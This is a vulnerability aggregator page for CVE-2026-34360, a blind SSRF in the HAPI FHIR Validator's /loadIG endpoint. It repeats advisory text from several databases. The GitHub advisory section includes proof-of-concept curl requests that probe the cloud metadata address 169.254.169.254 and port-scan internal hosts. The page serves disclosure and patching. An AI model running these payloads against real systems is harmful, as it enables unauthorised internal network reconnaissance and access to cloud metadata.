CVE-2026-34360
HAPI FHIR: Unauthenticated Blind SSRF via /loadIG Endpoint Enables Internal Network Probing
HAPI FHIR is a complete implementation of the HL7 FHIR standard for healthcare interoperability in Java. Prior to version 6.9.4, the /loadIG HTTP endpoint in the FHIR Validator HTTP service accepts a user-supplied URL via JSON body and makes server-side HTTP requests to it without any hostname, scheme, or domain validation. An unauthenticated attacker with network access to the validator can probe internal network services, cloud metadata endpoints, and map network topology through error-based information leakage. With explore=true (the default for this code path), each request triggers multiple outbound HTTP calls, amplifying reconnaissance capability. This issue has been patched in version 6.9.4.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
5.8
HAPI FHIR: Unauthenticated Blind SSRF via /loadIG Endpoint Enables Internal Network Probing
HAPI FHIR is a complete implementation of the HL7 FHIR standard for healthcare interoperability in Java. Prior to version 6.9.4, the /loadIG HTTP endpoint in the FHIR Validator HTTP service accepts a user-supplied URL via JSON body and makes server-side HTTP requests to it without any hostname, scheme, or domain validation. An unauthenticated attacker with network access to the validator can probe internal network services, cloud metadata endpoints, and map network topology through error-based information leakage. With explore=true (the default for this code path), each request triggers multiple outbound HTTP calls, amplifying reconnaissance capability. This issue has been patched in version 6.9.4.
- Record
CVE-2026-34360- CVSS 3.1
- 5.8 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
EUVDEUVD-2026-17526
5.8
HAPI FHIR is a complete implementation of the HL7 FHIR standard for healthcare interoperability in Java. Prior to version 6.9.4, the /loadIG HTTP endpoint in the FHIR Validator HTTP service accepts a user-supplied URL via JSON body and makes server-side HTTP requests to it without any hostname, scheme, or domain validation. An unauthenticated attacker with network access to the validator can probe internal network services, cloud metadata endpoints, and map network topology through error-based information leakage. With explore=true (the default for this code path), each request triggers multiple outbound HTTP calls, amplifying reconnaissance capability. This issue has been patched in version 6.9.4.
- Record
EUVD-2026-17526- CVSS 3.1
- 5.8 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-3ww8-jw56-9f5h
5.8
FHIR Validator: Unauthenticated Blind SSRF via /loadIG Endpoint Enables Internal Network Probing
Summary
The /loadIG HTTP endpoint in the FHIR Validator HTTP service accepts a user-supplied URL via JSON body and makes server-side HTTP requests to it without any hostname, scheme, or domain validation. An unauthenticated attacker with network access to the validator can probe internal network services, cloud metadata endpoints, and map network topology through error-based information leakage. With explore=true (the default for this code path), each request triggers multiple outbound HTTP calls, amplifying reconnaissance capability.
Details
Root cause chain:
LoadIGHTTPHandler.handle()reads theigfield from user-supplied JSON and passes it directly toIgLoader.loadIg()with no validation:
// LoadIGHTTPHandler.java:35,43
String ig = wrapper.asString("ig");
engine.getIgLoader().loadIg(engine.getIgs(), engine.getBinaries(), ig, false);
-
loadIg()callsloadIgSource(srcPackage, recursive, true)withexplore=true(IgLoader.java:153). -
loadIgSource()checksCommon.isNetworkPath(src)which only verifies the URL starts withhttp:orhttps:— no host/IP validation (Common.java:14-16). -
The URL reaches
ManagedWebAccess.get()which callsinAllowedPaths(). This check is a no-op by default becauseallowedDomainsis initialized as an empty list, and the code explicitly returnstruewhen empty:
// ManagedWebAccess.java:104-106
static boolean inAllowedPaths(String pathname) {
if (allowedDomains.isEmpty()) {
return true; // DEFAULT: all domains allowed
}
// ...
}
The source code has a //TODO get this from fhir settings comment (line 82) confirming this is an incomplete security control.
SimpleHTTPClient.get()makes the HTTP request and follows 301/302/307/308 redirects up to 5 times. Redirect targets are NOT re-validated againstinAllowedPaths():
// SimpleHTTPClient.java:88-99
case HttpURLConnection.HTTP_MOVED_PERM,
HttpURLConnection.HTTP_MOVED_TEMP,
307, 308:
String location = connection.getHeaderField("Location");
url = new URL(originalUrl, location); // No domain re-validation
continue;
- The server binds to all interfaces with no authentication (FhirValidatorHttpService.java:31):
server = HttpServer.create(new InetSocketAddress(port), 0);
- Errors propagate back to the attacker with exception details:
// LoadIGHTTPHandler.java:49
sendOperationOutcome(exchange, 500,
OperationOutcomeUtilities.createError("Failed to load IG: " + e.getMessage()), ...);
Redirect bypass: Even if allowedDomains were configured, the domain check in ManagedWebAccessor.setupSimpleHTTPClient() (line 31) only validates the initial URL. An attacker can host a redirect on an allowed domain that points to an internal target.
PoC
- Start the FHIR Validator in HTTP server mode:
java -jar validator_cli.jar -server -port 8080
- Probe a cloud metadata endpoint:
curl -X POST http://<validator-host>:8080/loadIG \
-H "Content-Type: application/json" \
-d '{"ig": "http://169.254.169.254/latest/meta-data/"}'
Expected: The validator makes a GET request to the AWS metadata service from its own network position. The error response reveals whether the endpoint is reachable (e.g., connection refused vs. parse error on HTML content).
- Port scan an internal host:
# Open port — returns quickly with a parse error (content received but not valid FHIR)
curl -X POST http://<validator-host>:8080/loadIG \
-H "Content-Type: application/json" \
-d '{"ig": "http://10.0.0.1:8080/"}'
# Closed port — returns with "Connection refused"
curl -X POST http://<validator-host>:8080/loadIG \
-H "Content-Type: application/json" \
-d '{"ig": "http://10.0.0.1:9999/"}'
- Redirect bypass (if allowedDomains were configured):
# Attacker hosts redirect: http://allowed-domain.com/redir → http://127.0.0.1:8080/admin
curl -X POST…
- Record
GHSA-3ww8-jw56-9f5h- CVSS 3.1
- 5.8 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
NVD
5.8
HAPI FHIR is a complete implementation of the HL7 FHIR standard for healthcare interoperability in Java. Prior to version 6.9.4, the /loadIG HTTP endpoint in the FHIR Validator HTTP service accepts a user-supplied URL via JSON body and makes server-side HTTP requests to it without any hostname, scheme, or domain validation. An unauthenticated attacker with network access to the validator can probe internal network services, cloud metadata endpoints, and map network topology through error-based information leakage. With explore=true (the default for this code path), each request triggers multiple outbound HTTP calls, amplifying reconnaissance capability. This issue has been patched in version 6.9.4.
- Record
CVE-2026-34360- CVSS 3.1
- 5.8 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSV
5.8
HAPI FHIR: Unauthenticated Blind SSRF via /loadIG Endpoint Enables Internal Network Probing
HAPI FHIR is a complete implementation of the HL7 FHIR standard for healthcare interoperability in Java. Prior to version 6.9.4, the /loadIG HTTP endpoint in the FHIR Validator HTTP service accepts a user-supplied URL via JSON body and makes server-side HTTP requests to it without any hostname, scheme, or domain validation. An unauthenticated attacker with network access to the validator can probe internal network services, cloud metadata endpoints, and map network topology through error-based information leakage. With explore=true (the default for this code path), each request triggers multiple outbound HTTP calls, amplifying reconnaissance capability. This issue has been patched in version 6.9.4.
- Record
CVE-2026-34360- CVSS 3.1
- 5.8 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSVGHSA-3ww8-jw56-9f5h
5.8
FHIR Validator: Unauthenticated Blind SSRF via /loadIG Endpoint Enables Internal Network Probing
Summary
The /loadIG HTTP endpoint in the FHIR Validator HTTP service accepts a user-supplied URL via JSON body and makes server-side HTTP requests to it without any hostname, scheme, or domain validation. An unauthenticated attacker with network access to the validator can probe internal network services, cloud metadata endpoints, and map network topology through error-based information leakage. With explore=true (the default for this code path), each request triggers multiple outbound HTTP calls, amplifying reconnaissance capability.
Details
Root cause chain:
LoadIGHTTPHandler.handle()reads theigfield from user-supplied JSON and passes it directly toIgLoader.loadIg()with no validation:
// LoadIGHTTPHandler.java:35,43
String ig = wrapper.asString("ig");
engine.getIgLoader().loadIg(engine.getIgs(), engine.getBinaries(), ig, false);
-
loadIg()callsloadIgSource(srcPackage, recursive, true)withexplore=true(IgLoader.java:153). -
loadIgSource()checksCommon.isNetworkPath(src)which only verifies the URL starts withhttp:orhttps:— no host/IP validation (Common.java:14-16). -
The URL reaches
ManagedWebAccess.get()which callsinAllowedPaths(). This check is a no-op by default becauseallowedDomainsis initialized as an empty list, and the code explicitly returnstruewhen empty:
// ManagedWebAccess.java:104-106
static boolean inAllowedPaths(String pathname) {
if (allowedDomains.isEmpty()) {
return true; // DEFAULT: all domains allowed
}
// ...
}
The source code has a //TODO get this from fhir settings comment (line 82) confirming this is an incomplete security control.
SimpleHTTPClient.get()makes the HTTP request and follows 301/302/307/308 redirects up to 5 times. Redirect targets are NOT re-validated againstinAllowedPaths():
// SimpleHTTPClient.java:88-99
case HttpURLConnection.HTTP_MOVED_PERM,
HttpURLConnection.HTTP_MOVED_TEMP,
307, 308:
String location = connection.getHeaderField("Location");
url = new URL(originalUrl, location); // No domain re-validation
continue;
- The server binds to all interfaces with no authentication (FhirValidatorHttpService.java:31):
server = HttpServer.create(new InetSocketAddress(port), 0);
- Errors propagate back to the attacker with exception details:
// LoadIGHTTPHandler.java:49
sendOperationOutcome(exchange, 500,
OperationOutcomeUtilities.createError("Failed to load IG: " + e.getMessage()), ...);
Redirect bypass: Even if allowedDomains were configured, the domain check in ManagedWebAccessor.setupSimpleHTTPClient() (line 31) only validates the initial URL. An attacker can host a redirect on an allowed domain that points to an internal target.
PoC
- Start the FHIR Validator in HTTP server mode:
java -jar validator_cli.jar -server -port 8080
- Probe a cloud metadata endpoint:
curl -X POST http://<validator-host>:8080/loadIG \
-H "Content-Type: application/json" \
-d '{"ig": "http://169.254.169.254/latest/meta-data/"}'
Expected: The validator makes a GET request to the AWS metadata service from its own network position. The error response reveals whether the endpoint is reachable (e.g., connection refused vs. parse error on HTML content).
- Port scan an internal host:
# Open port — returns quickly with a parse error (content received but not valid FHIR)
curl -X POST http://<validator-host>:8080/loadIG \
-H "Content-Type: application/json" \
-d '{"ig": "http://10.0.0.1:8080/"}'
# Closed port — returns with "Connection refused"
curl -X POST http://<validator-host>:8080/loadIG \
-H "Content-Type: application/json" \
-d '{"ig": "http://10.0.0.1:9999/"}'
- Redirect bypass (if allowedDomains were configured):
# Attacker hosts redirect: http://allowed-domain.com/redir → http://127.0.0.1:8080/admin
curl -X POST…
- Record
GHSA-3ww8-jw56-9f5h- CVSS 3.1
- 5.8 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSVROOT-APP-MAVEN-CVE-2026-34360 No score
CVE-2026-34360 in ca.uhn.hapi.fhir:org.hl7.fhir.core - Patched by Root
Root has patched CVE-2026-34360 in the ca.uhn.hapi.fhir:org.hl7.fhir.core package for Root:Maven. Multiple fixed versions available.
- Record
ROOT-APP-MAVEN-CVE-2026-34360- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
ca.uhn.hapi.fhir:org.hl7.fhir.coreMaven |
before 6.9.4 | 6.9.4 |
ca.uhn.hapi.fhir:org.hl7.fhir.coreMaven |
before 6.9.4, plus listed versions 0.0.10.0.140.0.20.1.140.1.18 Show 45 moreShow less1.0.01.1.674.0.04.0.14.0.24.0.34.1.04.2.05.0.05.0.105.0.115.0.125.0.145.0.155.0.165.0.175.0.185.0.195.0.205.0.215.0.225.0.75.0.85.0.95.1.05.1.15.1.105.1.115.1.125.1.135.1.145.1.155.1.165.1.175.1.185.1.195.1.25.1.205.1.215.1.225.1.35.1.45.1.55.1.65.1.7 |
6.9.4 |
ca.uhn.hapi.fhir:org.hl7.fhir.coreRoot:Maven |
before 6.7.9-aikido.7 | 6.7.9-aikido.76.9.0-aikido.86.7.9-aikido.66.9.0-aikido.96.7.9-aikido.86.7.9-aikido.106.7.9-aikido.96.9.0-aikido.106.9.0-aikido.11 |
io.root.ca.uhn.hapi.fhir:org.hl7.fhir.coreRoot:Maven |
before 6.7.9-root.io.5 | 6.7.9-root.io.56.9.0-root.io.76.7.9-root.io.76.9.0-root.io.86.7.9-root.io.66.9.0-root.io.96.7.9-root.io.86.7.9-root.io.106.7.9-root.io.96.9.0-root.io.106.9.0-root.io.11 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-34360 is a medium vulnerability (CVSS 5.8) in Hapifhir Hl7 Fhir Core, published March 30, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.24%, the 15th percentile. Fixed in ca.uhn.hapi.fhir:org.hl7.fhir.core 6.9.4.
References
Left out here: 333 versions and the rest of 2 source descriptions. The JSON record has them.